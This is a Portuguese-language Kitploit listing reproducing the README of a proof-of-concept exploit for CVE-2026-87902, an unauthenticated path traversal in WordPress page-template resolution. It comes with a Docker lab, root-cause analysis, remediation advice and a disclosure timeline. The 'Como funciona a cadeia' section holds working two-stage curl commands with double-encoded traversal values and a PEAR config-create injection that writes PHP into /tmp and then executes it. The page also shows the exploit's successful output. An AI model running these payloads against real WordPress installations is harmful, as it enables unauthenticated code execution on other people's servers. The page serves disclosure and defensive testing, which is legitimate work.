Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
cve-2026-87902-poc — PoC para CVE-2026-87902 — path traversal não autenticado na resolução de page-template do WordPress (inclusão local de PHP, RCE condicional) com um laboratório vulnerável fixado | Kitploit
Ferramentas/GitHubGitHub/ressl/cve-2026-87902-poc
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebVirtualização para SegurançaSegurança WebTestes de PenetraçãoLabs e Prática
GitHubressl/cve-2026-87902-poc

cve-2026-87902-poc

PoC para CVE-2026-87902 — path traversal não autenticado na resolução de page-template do WordPress (inclusão local de PHP, RCE condicional) com um laboratório vulnerável fixado

Ver Repositório
317há 1 diaAinda não revisado
Site

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-87902 — WordPress Core: path traversal não autenticado na resolução de templates de página

Inclusão local de ficheiro PHP não autenticada no WordPress Core através de um valor pagename com dupla codificação — e, sob condições específicas de implementação, execução de código PHP com os privilégios da conta do servidor web.

CVECVE-2026-87902
Aviso do fornecedorGHSA-7hp8-65ch-5whp
AnáliseCVE-2026-87902: Critical WordPress file inclusion and conditional RCE
AfetadoWordPress Core 4.7.0 – 7.1.1 (todos os ramos, de acordo com os intervalos por ramo do aviso); reproduzido dinamicamente na 7.0.2
Corrigido7.1.2 (ramo 7.1), 7.0.6 (ramo 7.0) e um backport para todos os ramos até 4.7.37 (de acordo com o aviso)
FraquezasCWE-98 (controlo inadequado do nome do ficheiro em include), CWE-22 / CWE-23 (path traversal)
CVSS v3.1CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H — 8.1 High
CVSS v4.0 (suplementar)CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N — 9.2 Critical
Autenticaçãonenhuma — sem conta, cookie, nonce, sessão, plugin ou pedido de saída
Interação do utilizadornenhuma
AutorRobert Ressl — ressl.ch
PoC verificado2026-09-22 contra o laboratório neste repositório — ver Resultados verificados

Resumo

O WordPress resolve um template de Página através de uma cadeia que nunca prova que o ficheiro selecionado permanece dentro de uma raiz de tema:

  1. pagename e page_id são variáveis de consulta públicas que WP::parse_request() aceita de um corpo POST anónimo.
  2. Um traversal com dupla codificação em pagename sobrevive à sanitização inicial da consulta como octetos %xx escapados (wp_basename() não consegue ver %2f como separador, e sanitize_title_with_dashes() mantém deliberadamente octetos válidos).
  3. Um page_id válido seleciona então uma Página publicada real, enquanto o pagename malicioso permanece no objeto de consulta.
  4. get_page_template() chama posteriormente urldecode() sobre esse valor e adiciona um candidato como page-templates/../../../../../../../usr/local/lib/php/pearcmd.php à hierarquia de templates.
  5. locate_template() e o carregador final de templates apenas verificam a existência, a legibilidade e o sufixo .php/.html — nunca que o caminho canónico ainda esteja dentro de uma raiz de tema permitida — e depois fazem include do mesmo.

Isto é uma primitiva de inclusão local de ficheiro remota não autenticada no WordPress Core. No runtime oficial testado (wordpress:php8.3-apache, que inclui o PEAR e não carrega nenhum php.ini, pelo que register_argc_argv está On), a inclusão foi encadeada através do pearcmd.php do PEAR: um primeiro pedido anónimo faz com que config-create escreva PHP controlado pelo atacante em /tmp, um segundo pedido anónimo inclui esse ficheiro e executa-o como www-data.

A ausência de contenção de caminho no Core é a vulnerabilidade. O PEAR é apenas uma rota dependente do ambiente da inclusão para a execução de código — não é uma dependência do WordPress e não está presente ou utilizável em todas as implementações.

Causa raiz

Localizações de código verificadas (WordPress 7.0.2):

#LocalizaçãoPapel
1wp-includes/class-wp.php:18,322-330pagename e page_id são query vars públicas e são lidas de $_POST
2wp-includes/class-wp-query.php:2205sanitize_title_for_query( wp_basename( $query_vars['pagename'] ) ) — %2f não é um separador para wp_basename()
3wp-includes/formatting.php:2283-2289sanitize_title_with_dashes() preserva octetos %xx válidos em vez de os remover
4wp-includes/template.php:492$pagename_decoded = urldecode( $pagename ); — o traversal torna-se ativo após a sanitização
5wp-includes/template.php:722-736locate_template() concatena o candidato abaixo de cada raiz de tema e apenas chama file_exists()
6wp-includes/template-loader.php:116-132realpath() normaliza o caminho, depois include é executado sem qualquer verificação canónica de contenção na raiz
7wp-includes/canonical.php:42-47redirect_canonical() retorna antecipadamente para pedidos não-GET/HEAD, pelo que um POST não é canonicalizado para fora

Pré-condições

A primitiva de inclusão autónoma necessita de:

#Pré-condiçãoRazão
1Uma Página publicada e acessível anonimamente, selecionada por page_id numéricoa página tem de ser devolvida pela consulta após a falha da pesquisa do pathname
2Nenhum template de página personalizado resolvível anteriormenteum template atribuído válido é ordenado antes do candidato malicioso
3Um diretório de nível superior no tema ativo (filho ou pai) cujo nome começa por page-, por exemplo page-templates/o WordPress pré-fixa o prefixo fixo page-, pelo que um traversal .. não pode começar na posição 0; o diretório apenas tem de existir e ser atravessável — não tem de ser gravável
4Um ficheiro .php local selecionado que exista e seja legível pelo utilizador PHPo carregador verifica is_file()/is_readable() e exige um sufixo .php
5Nenhum confinamento do sistema de ficheiros a bloquear esse ficheirouma política open_basedir ou MAC pode impedir a inclusão

A fase PEAR demonstrada necessita adicionalmente de um pearcmd.php legível (mais as suas dependências), register_argc_argv=On para o SAPI web, e um diretório de saída gravável. Os ficheiros php.ini de produção definem register_argc_argv=Off; a imagem testada não carrega nenhum php.ini, pelo que se aplicou o valor predefinido compilado (On). Este é um limite importante na prevalência da cadeia de execução de código demonstrada.

Os temas incluídos Twenty Twenty-Three/Four/Five não incluem nenhum diretório page-* de nível superior, pelo que o laboratório padrão necessita da fixture descrita abaixo. Os temas personalizados podem legitimamente usar uma estrutura page-templates/ (documentação do WordPress).

O aviso regista onde estas condições ocorrem em software distribuído: a condição do tema é satisfeita pelos temas legados Twenty Twelve e Twenty Fourteen e por temas de terceiros como Neve, Hestia e Sydney, enquanto a transição PEAR se aplica à imagem oficial PHP Docker e a configurações predefinidas do cPanel a executar PHP anterior ao 8.5. (Twenty Twelve e Twenty Fourteen incluem ambos um diretório page-templates/ de nível superior; as restantes afirmações são do aviso.) Este repositório não mede a frequência com que a cadeia completa se aplica.

Início rápido

root@kitploit:~
./lab/up.sh            # WordPress 7.0.2 + MySQL 8.4 + the page-* fixture, installed and ready
python3 cve-2026-87902.py   # two anonymous POSTs, prints the proof marker

cve-2026-87902.py necessita de Python 3.6+ (apenas biblioteca padrão) e alcança o laboratório em http://127.0.0.1:8091 por predefinição. Saída esperada:

root@kitploit:~
[*] target        : http://127.0.0.1:8091
[*] page id       : 2 (sample-page, default template, via /index.php?rest_route=/wp/v2/pages&per_page=100&_fields=id,slug,template)
[*] depth 7       : stage 1 HTTP 200, stage 2 HTTP 200
[+] traversal     : page-templates/../../../../../../../usr/local/lib/php/pearcmd.php
[+] payload file  : page-templates/../../../../../../../tmp/wp-pear-rce-flag.php (written by PEAR in stage 1)
[+] marker        : 'CVE-2026-87902-POC-OK' found 12 time(s) in the stage-2 response
[+] proof         : CVE-2026-87902-POC-OK
[+] EXPLOIT SUCCESSFUL - PHP executed with the web-server account's privileges

O código de saída é 0 em caso de sucesso e 1 caso contrário, pelo que o PoC também funciona como verificação de regressão/deteção.

Desmontagem: docker compose down -v.

Resultados verificados

Executado em 2026-09-22 contra este laboratório (Docker 29.4, OrbStack, Apple silicon):

VerificaçãoResultado
Fase 1HTTP 200; /tmp/wp-pear-rce-flag.php escrito como www-data:www-data, modo 0644, 1219 bytes
SHA-256 do payload460d359253d9933ad373ffc8a0027adc5a79d5ca542ab9b2cf9532f949682aa7 — idêntico ao hash registado no relatório original
Fase 2HTTP 200; o PHP injetado imprimiu o artefacto de prova com modo 0444
Ocorrências do marcador12 (o PEAR serializa o valor raiz controlado em 12 entradas de configuração)
Credenciais utilizadasnenhuma — sem cabeçalho Cookie ou Authorization em qualquer pedido
Controlo negativopage-templates/ removido → a fase 2 devolve a página normal, sem marcador, código de saída 1

O artefacto de prova é /flag, propriedade de root e legível por todos (root:root, modo 0444) dentro do contentor. Prova a execução de PHP e o acesso a ficheiros como a conta do servidor web; não é um alvo de escalada de privilégios.

Como funciona a cadeia

Dois POSTs anónimos. Os valores de encaminhamento do WordPress viajam no corpo do formulário, os argumentos do PEAR na query string em bruto (o PHP divide a query string em bruto no + literal em argv e não descodifica individualmente os argumentos):

root@kitploit:~
argv[0] = ""
argv[1] = "config-create"
argv[2] = "/<?=file_get_contents(chr(47).chr(102).chr(108).chr(97).chr(103))?>"   # absolute PEAR root path
argv[3] = "/tmp/wp-pear-rce-flag.php"                                              # output file

Fase 1 — incluir pearcmd.php e escrever o payload:

root@kitploit:~
curl --path-as-is -sS -X POST \
  'http://127.0.0.1:8091/?+config-create+/<?=file_get_contents(chr(47).chr(102).chr(108).chr(97).chr(103))?>+/tmp/wp-pear-rce-flag.php' \
  --data-raw 'page_id=2&pagename=templates%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252fusr%252flocal%252flib%252fphp%252fpearcmd'

Fase 2 — incluir o ficheiro gerado e executar o seu PHP:

root@kitploit:~
curl --path-as-is -sS -X POST \
  'http://127.0.0.1:8091/' \
  --data-raw 'page_id=2&pagename=templates%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252ftmp%252fwp-pear-rce-flag'

Detalhes que importam:

  • Duas camadas de codificação. O corpo é descodificado uma vez pelo PHP para templates%2f%2e%2e%2f...; o sanitizador mantém esses octetos, e apenas o urldecode() tardio de get_page_template() os transforma em / e ...
  • Prefixo page-. O WordPress pré-fixa page- ao valor, pelo que o diretório fixture page-templates/ corresponde ao segmento inicial templates.
  • Sufixo .php forçado. O candidato é page-<decoded>.php, razão pela qual o alvo é indicado sem sufixo (.../pearcmd, /tmp/wp-pear-rce-flag).
  • POST, não GET. redirect_canonical() ignora pedidos não-GET/HEAD, e o corpo do formulário permite que a query string transporte apenas os argumentos do PEAR.
  • Payload sem aspas. wp_magic_quotes() também é executado sobre $_SERVER, pelo que o argv construído pelo servidor é escapado e o PEAR normaliza posteriormente as barras invertidas. O payload verificado usa chr() e não contém caracteres de aspas. (Reduz-se a <?=file_get_contents('/flag')?>.)
  • Caminho raiz de config-create. O PEAR rejeita uma raiz relativa (Root directory must be an absolute path beginning with "/"), pelo que o payload é injetado como o próprio caminho raiz.
  • Profundidade. cve-2026-87902.py percorre segmentos .. até o traversal alcançar o alvo (7 para a estrutura deste laboratório, --depth para o fixar).

Laboratório

lab/up.sh executa três passos e é seguro reexecutar:

  1. docker compose up -d --build --wait — wordpress:7.0.2-php8.3-apache fixado mais mysql:8.4, porta 127.0.0.1:8091 (apenas loopback).
  2. Executa o instalador do WordPress (admin / adminadmin) se o site ainda não estiver instalado.
  3. Cria a fixture dentro do tema ativo e imprime-a: wp-content/themes/twentytwentyfive/page-templates/, root:root, modo 0755, vazio.

A imagem do laboratório adiciona register_argc_argv=On explicitamente (lab/Dockerfile) em vez de depender do valor predefinido compilado, e inclui /flag (root:root, modo 0444, conteúdo CVE-2026-87902-POC-OK).

ComponenteValor
WordPress7.0.2 (wordpress:7.0.2-php8.3-apache)
PHP / SAPI8.3.33, módulo Apache
PEAR1.10.18 em /usr/local/lib/php/pearcmd.php
MySQL8.4
register_argc_argvOn
TemaTwenty Twenty-Five + fixture page-templates/ vazia propriedade de root
Página alvoSample Page publicada, ID 2, template predefinido
Artefacto de prova/flag, root:root, modo 0444

A tag móvel wordpress:php8.3-apache não é utilizável para este laboratório: o bug está corrigido na 7.1.2 e uma tag não fixada transforma silenciosamente o laboratório em corrigido.

Controlos negativos e limitações

Controlos verificados ou documentados:

  • Nenhum diretório page-* de nível superior no tema → o prefixo fixo não pode ser removido e o traversal nunca começa (verificado: fixture removida → sem marcador).
  • register_argc_argv=Off → sem escritor PEAR, mas a primitiva de inclusão permanece.
  • PEAR ou as suas dependências ausentes → sem escritor.
  • Número errado de segmentos .. → alvo não alcançado (verificado: profundidades 1-6 e 8-12 não produzem marcador no laboratório).
  • Um template de página personalizado atribuído à Página → ordenado antes do candidato malicioso e vence.
  • Um ficheiro sem sufixo (por exemplo /flag) não pode ser lido diretamente — o candidato recebe .php anexado.
  • Um WAF/CDN/proxy reverso que rejeite bytes <, >, = em bruto no alvo do pedido quebra o canal de argumentos do PEAR (específico da implementação).
  • Confinamento open_basedir/MAC ou um diretório de saída não gravável quebra a cadeia; noexec em /tmp não (o PHP lê e interpreta o ficheiro).

Este PoC reproduz uma configuração verificada. Não afirma que todas as instalações do WordPress sejam exploráveis, e não mede a prevalência.

Remediação

  • Atualizar para o WordPress 7.1.2 ou mais recente (ou para o backport do seu ramo).
  • Defesa em profundidade para o tratamento de templates: após a descodificação, rejeitar candidatos com traversal e absolutos (por exemplo validate_file()), e antes de incluir um template localizado, comparar realpath() do candidato e da raiz do tema com um separador de diretório à direita.
  • Mitigações do operador: definir register_argc_argv=Off para SAPIs web, remover pontos de entrada PEAR não utilizados e legíveis pela web das imagens de produção, auditar temas filhos e pais quanto a diretórios page-* de nível superior, e restringir o acesso de escrita para a conta PHP.

Ficheiros

CaminhoPropósito
cve-2026-87902.pyexploit: deteção de página, ambas as fases, tratamento de profundidade, verificação do marcador
lab/up.shcoloca o laboratório no estado exato que o exploit espera (idempotente)
docker-compose.ymlWordPress 7.0.2 + MySQL 8.4, porta apenas loopback
lab/Dockerfilefixa a versão vulnerável, define register_argc_argv=On, inclui /flag
lab/flagconteúdo do artefacto de prova

Cronologia de divulgação

DataEvento
2026-07-20Reportado privadamente através do programa HackerOne do WordPress
2026-07-21Receção confirmada
2026-09-15Informado de que uma correção estava planeada para uma versão futura; detalhes de atribuição solicitados
2026-09-22WordPress 7.1.2 lançado com a correção; aviso GHSA-7hp8-65ch-5whp publicado

O relatório foi aceite como uma descoberta de segurança válida após a sua classificação inicial ter sido revista; a correspondência não data essa aceitação.

Aviso legal

Este repositório é publicado para fins defensivos e de investigação. Utilize-o apenas contra sistemas que possui ou para os quais tem autorização explícita de teste. O laboratório está vinculado a 127.0.0.1 e não deve ser exposto a redes não confiáveis.

Licença

MIT — ver LICENSE. Os metadados de citação encontram-se em CITATION.cff:

Ressl, Robert (2026). CVE-2026-87902 PoC: unauthenticated path traversal in WordPress page-template resolution (v1.0.0). https://ressl.ch

O relatório de vulnerabilidade e este PoC foram preparados com assistência de IA para revisão de organização e consistência; o investigador é responsável pelas afirmações técnicas.

Baixar ferramenta